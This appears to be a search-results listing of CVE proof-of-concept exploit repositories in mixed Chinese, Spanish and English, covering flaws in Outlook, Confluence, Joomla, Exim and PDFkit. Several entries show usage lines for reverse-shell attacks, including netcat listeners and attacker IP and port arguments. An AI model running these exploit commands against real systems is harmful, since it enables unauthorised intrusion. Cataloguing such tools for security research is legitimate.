12904 matches found
POC-CVE-2026-7873
描述 CVE-2026-7873 的 PoC 漏洞利用代码 使用方法 python3 poc.py -u -name -pwd -c...
CVE-2021-26084
使用方法: python poc.py http://host:port/...
CVE-2023-24488
POC para CVE-2023-24488 Esta herramienta está inspirada en una herramienta similar https://github.com/securitycipher/CVE-2023-24488 construida con python. Esta herramienta fue construida con golang y ha sido refinada a partir de su versión en python. Esta herramienta se utiliza para explotar...
CVE-2024-29972-CVE-2024-29976-CVE-2024-29973-CVE-2024-29975-CVE-2024-29974-poc
此存储库没有 README。...
CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
Microsoft Outlook 远程代码执行漏洞 PoC 本脚本展示了 CVE-2024-21413 的概念验证(PoC),这是 Microsoft Outlook 中一个 CVSS 评分为 9.8 的关键安全漏洞。该漏洞被称为 MonikerLink 漏洞,其影响范围广泛,包括可能泄露本地 NTLM 数据以及远程代码执行的风险。此外,它还突出了一种能够绕过 Office Protected View 的攻击媒介,从而将其威胁扩展到其他 Office 软件。 用法: 要使用此脚本: 1. 将仓库克隆到本地机器: root@kitploit:...
CVE-2019-15715
CVE-2019-15715 当前仓库是 CVE-2019-15715 的 Python3 实现,旨在专注于改进 Nikolas Geiselman 最初在此处报告的 CVE-2019-15715,通过添加 Python 的参数实现使脚本更加灵活。 root@kitploit: python3 CVE-2019-15715.py -rh $TARGETIP -rp $TARGETPORT -lh $ATTACKERIP -lp $ATTACKERPORT -u $USER -p $PSW -e $ENDPOINT -rs $BASE64REVSHELL You can use...
CVE-2023-23752
CVE-2023-23752 用于 CVE-2023-23752 Joomla CMS 的简单 bash 脚本 你可以使用 -u 选项指定单个 URL,或使用 -l 选项提供一个包含要测试脆弱端点的 URL 列表的文件。 此脚本保存所有 HTTP 响应数据并显示敏感信息。 依赖:httpx 使用此脚本前请安装 httpx 工具 示例: root@kitploit: ./cve-2023-23752-PoC.sh -u https://vuln-site-example.com ./cve-2023-23752-PoC.sh -l list.txt CVE...
CVE-2023-23397-POC
CVE-2023-23397-POC CVE-2023-23397漏洞的简单PoC,有效载荷通过电子邮件发送。...
blueborne-CVE-2017-1000251-POC
blueborne-CVE-2017-1000251-POC 刚克隆的GitLab仓库。所有功劳归功于:marcinguy 仅用于教学和测试目的。它未携带有效载荷,仅为概念验证(PoC),用于展示其可能性。...
CVE-2017-7504-poc
JBoss 4.x JBossMQ JMS反序列化漏洞poc -h 查看使用方法...
CVE-2014-0160
CVE-2014-0160 Links https://github.com/DisK0nn3cT/MaltegoHeartbleed https://github.com/a0726h77/heartbleed-test https://github.com/musalbas/heartbleed-masstest https://github.com/decal/ssltest-stls https://github.com/isgroup-srl/openmagic https://github.com/offensive-python/HeartLeak Nmap nmap -s...
PoC_CVE-2019-10149--rce
关于 从存在漏洞的 exim 服务远程执行命令进入 shell。 受影响版本从 4.87 到 4.91(含)。查看 https://nvd.nist.gov/vuln/detail/cve-2019-10149。 以下脚本基于 Qualys PoC。查看 https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html。 示例 建议使用两个终端 root@kitploit: T1 $ nc -nlvp 1337 T2 $ bash exploit.sh $ Listener IP:...
CVE-2023-35985
CVE-2023-35985 的 PoC...
AutoHoneyPoC
AutoHoneyPoC AutoPoC 生成器 HoneyPoC 终极版。 如果你是第一次听说或看到这个项目,你会想阅读这篇博客文章。https://blog.zsec.uk/honeypoc-ultimate/ 在我发布 AutoPoC 时,该框架本身是无害的,因为它需要一些先决条件来构建自动化后端,但输出的代码在技术上是恶意软件,所以请小心处理;它仅供教育等目的使用;如果你将其用于犯罪或其他混乱行为,我不承担任何责任。 提交历史中你可能会看到凭据的所有账户要么已被 GitHub 标记为恶意,要么已被清空 ;。 姊妹项目:SandboxSpy 使用方法: python3...
POC-CVE-2026-18729
描述 CVE-2026-18729 的概念验证漏洞利用代码 使用方法 python3 poc.py -url -uname -pword -c 不带 bash 命令(通过除零错误证明代码执行) 带 bash 命令 注意: 不会返回 bash 输出,因为该端点仅返回组件模板和元数据。bash 输出存储在构建作用域内的 out 中,且不会序列化到 JSON 响应中,因此缺少命令输出并不意味着命令未被执行。...
CVE-2020-6468-PoC
CVE-2020-6468-PoC 用于 供養 不包含沙盒利用 PoC 环境 操作系统: Ubuntu 18.04 LTS 64-bit Chromium: Version 81.0.4044.92 Developer Build 64-bit 标志: --no-sandbox --single-process --disable-gpu 参考资料 https://bugs.chromium.org/p/chromium/issues/detail?id=1076708...
CVE-2024-38063
CVE-2024-38063 PoC | DKob & N3TCR4SH Overview This script is a Proof of Concept PoC for exploiting CVE-2024-38063. It generates and sends malicious fragmented IPv6 packets with specific destination options to target a kernel, potentially causing denial-of-service or instability. Article Link: Her...
confluence-rce-poc
confluence-rce-poc 为 CVE-2021-26084 Docker 设置 POC 将官方 docker-entrypoint.sh 提供给 postgres,根据需要更改数据库用户名和密码...
CVE-2022-25765
CVE-2022-25765 漏洞利用 针对 CVE-2022-25765(PDFkit 命令注入)的小型 PoC 漏洞利用 使用方法 1. 在攻击机器上启动 netcat 监听器: root@kitploit: nc -lvnp 4444 2. 运行漏洞利用程序: root@kitploit: python cve-2022-25765.py -t http://目标IP:端口 -l 你的IP -p 你的端口 示例: root@kitploit: python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 44...